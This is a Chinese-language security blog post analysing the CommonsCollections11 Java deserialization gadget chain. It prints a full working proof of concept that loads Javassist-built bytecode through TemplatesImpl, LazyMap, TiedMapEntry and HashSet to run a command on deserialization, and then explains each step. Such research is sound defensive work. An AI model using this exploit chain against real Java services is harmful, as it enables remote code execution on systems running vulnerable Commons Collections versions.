CommonsCollections11 分析

0x00 前言

在看三梦师傅有关内存马的文章的时候,发现三梦师傅是用 cc11 打的,之前也听队里的丁师傅说过 cc11 蛮好用的,这次既然遇到了就来看一下

cc11 好用的原因个人认为主要是 能够像 cc2 一样加载恶意字节码,同时受影响的版本还是 CommonsCollections 3.1-3.2.1 这个版本相对 CommonsCollections 4.0 范围应该会更广一些

个人觉得像是 cc2 和 cc6 的杂交

0x01 正文

利用版本

CommonsCollections 3.1-3.2.1

限制

JDK版本:暂无限制

Poc

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; @SuppressWarnings("all") public class cc11 { public static void main(String[] args) throws Exception { // 利用javasist动态创建恶意字节码 ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错 // 写入.class 文件 // 将我的恶意类转成字节码,并且反射设置 bytecodes byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Field f0 = templates.getClass().getDeclaredField("_bytecodes"); f0.setAccessible(true); f0.set(templates,targetByteCodes); f0 = templates.getClass().getDeclaredField("_name"); f0.setAccessible(true); f0.set(templates,"name"); f0 = templates.getClass().getDeclaredField("_class"); f0.setAccessible(true); f0.set(templates,null); InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer); TiedMapEntry tiedmap = new TiedMapEntry(map,templates); HashSet hashset = new HashSet(1); hashset.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } f.setAccessible(true); HashMap hashset_map = (HashMap) f.get(hashset); Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } f2.setAccessible(true); Object[] array = (Object[])f2.get(hashset_map); Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } keyField.setAccessible(true); keyField.set(node,tiedmap); Field f3 = transformer.getClass().getDeclaredField("iMethodName"); f3.setAccessible(true); f3.set(transformer,"newTransformer"); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11")); outputStream.writeObject(hashset); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } }
Code language: JavaScript (javascript)

分析

前半段就是利用 javasist 动态生成恶意类,这块在前文 cc2 的分析中提及过,所以就不重再赘述了

image-20210408080741744

我们主要来分析后面的部分

首先来看一下利用链,有没有发现很熟悉,这不就是 cc6 Poc 的后半部分吗233

image-20210407184633500

在 cc11 中最后是利用 InvokerTransformer 调用 TemplatesImpl#newTransformer 加载恶意字节码来实现的触发的

image-20210407180351011

接下来我们具体分析一下,在 cc11 的 payload 中,我们发现并没有使用之前的链,而是只用了 InvokerTransformer ,通过构造函数将 toString 进行传入(其实这里的 toString 只是占位的作用,后面会利用反射进行修改)

InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

image-20210407171305260

然后将我们的 transformer 传入到了 LazyMap#decorate 中

image-20210407180740518

在 LazyMap#get 中会调用我们传入的 transformer 的 transform ,所以后面我们只要找到调用 LazyMap#get 就能进行触发

image-20210407180919984

后面就和 cc6 后半部分一样,这边简单说一下,具体分析可以查看上一篇文章:https://www.yuque.com/tianxiadamutou/zcfd4v/ac9529#df9c9706-4

在 TiedMapEntry#getValue 中调用了 get 方法,且 map 我们可控,为了扩大利用范围我们需要找到调用 getValue 的地方

image-20210407181736930

发现在 hashCode 中调用了,所以接下来我们需要找一个获取哈希的地方

image-20210407181922299

所以这里又找到了 HashMap#put,如果 key 可控就会调用 key 的 hashCode 函数,所以接下来目标就是寻找 HashMap#put 且传入的 key 可控

image-20210407182449213
image-20210407182517078

这里利用了 HashSet#readObject ,如果我们能控制 e 那么就有可能触发,这里 e 是根据 s 反序列化得来的

image-20210407182634215

我们查看对应序列化的方法 ,如果我们能控制 HashSet 的 map 属性中的 key 那么就能触发 RCE

image-20210407182729353

所以我们这里利用反射来进行设置

Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } f.setAccessible(true); HashMap hashset_map = (HashMap) f.get(hashset); Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } f2.setAccessible(true); Object[] array = (Object[])f2.get(hashset_map); Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } keyField.setAccessible(true); keyField.set(node,tiedmap);
Code language: JavaScript (javascript)

最后利用反射修改我们之前 InvokerTransformer 中的 iMethodName属性(这样是为了防止我们在生成 payload 的时候触发 RCE,在前面的几条链中也会这么操作,有的时候在本地触发 RCE 之后会导致数值改变然后在服务端就无法触发 RCE 了)

Field f3 = transformer.getClass().getDeclaredField("iMethodName"); f3.setAccessible(true); f3.set(transformer,"newTransformer");
Code language: JavaScript (javascript)

所以其实前面的 toString 也可以改为其他的参数,我在本地修改为其他的也可以正常进行触发

image-20210407183541385

0x02 总结

cc11 分析下来发现还是非常好用的,毕竟可以加载恶意字节码,同时利用范围也比较大,后面感兴趣的可以自行添加到 yso 中

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇